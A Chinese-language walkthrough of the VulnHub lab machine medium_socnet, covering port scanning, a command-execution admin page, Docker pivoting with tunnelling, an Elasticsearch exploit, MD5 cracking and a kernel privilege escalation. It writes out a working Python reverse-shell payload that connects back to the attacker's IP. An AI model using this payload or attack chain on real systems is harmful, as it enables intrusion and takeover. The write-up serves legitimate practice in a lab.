靶机下载地址:
https://download.vulnhub.com/boredhackerblog/medium_socnet.ova
实验环境
Kali IP:192.168.172.134
靶机:medium_socnet
主机发现
# arp-scan -l 获取靶机IP地址
端口扫描
# nmap -sT -sV -Pn -p- 192.168.172.144
# -sT TCP连接扫描
# -sV 对端口上的服务程序版本进行扫描
# -Pn 目标机禁用ping,绕过ping扫描
# -p- 全端口扫描
web页面查看
没有发现可以利用的点
目录扫描
发现目录/admin
登录后台
访问http://192.168.172.144:5000/admin
这个页面是一个命令执行的页面,结合前面nmap扫描结果,使用的是python 2.7.15,尝试使用一段python的反弹shell
python 反弹shell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.226.132",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
在kali上启用nc监听5555端口
成功getshell,
ifconfig 发现是另一个IP段的IP
ls 发现存在Dockerfile,怀疑我们目前在Docker中
判断是否在docker中
ls /.dockerenv 查看是否存在这个文件
cat /proc/1/cgroup 查看后可以发现存在docker,并且可以获取docker镜像的hash
可以确定我们目前处在docker中,172.17.0.3为当前docker的IP
内网主机发现
# for i in $(seq 254); do ping -c 1 172.17.0.$i;done
发现出当前所处docker环境的IP172.17.0.3外还存在两台存活主机:
172.17.0.1和172.17.0.2
隧道代理
因为是内网环境,我们的kali是无法访问到这三台存活主机的,所以就无法使用工具进行探测
我们可以使用venom工具
百度网盘 请输入提取码https://pan.baidu.com/s/1YcIH7o8x7MVU8RLRD6gR7Q
提取码: siy7
将工具上传到靶机上面
靶机:agent_linux_x64
使用python -m http.server 80 开启http服务
使用wget将agent_linux_x64下载到靶机上
建立隧道
创建好代理之后,使用proxychains软件连接代理
修改配置文件/etc/proxychains4.conf
内网端口扫描
#proxychains nmap -sT -sP -sV 172.17.0.1-3
发现172.17.0.3开放着9200端口,开放着Elasticsearch服务
Elasticsearch是一个搜索引擎
通过kali的searchsploit ,去搜索关于这个服务可以利用的漏洞
运行脚本,成功getshell
遍历目录发现passwords文件
#md5解密 获取john用户密码1337hack
md5在线解密破解,md5解密加密
MD5免费在线解密破解_MD5在线加密-SOMD5
MD5在线解密|md5在线破解|批量破解md5网站 - ChaMd5.Org
md5解密 MD5在线解密 破解md5
尝试ssh登录
提权
#uname -a 查看Linux内核版本
#kali searchsploit 搜索该内核版本的漏洞
查看37292.c内容
我们发现脚本会调用gcc去编译ofs-lib.c,而靶机环境中是没有gcc的,所以我们把这一段注释掉,以防报错。
再在kali中寻找ofs-lib.so文件,把通过gcc编译后的37292.c和ofs-lib.so一起上传到靶机的tmp目录下
# gcc 编译
定位ofs-lib.so
在Desktop上开启http服务,将37292和ofs-lib.so通过wget的方式下载到靶机的tmp目录下
赋予37292执行权限
运行,成功提权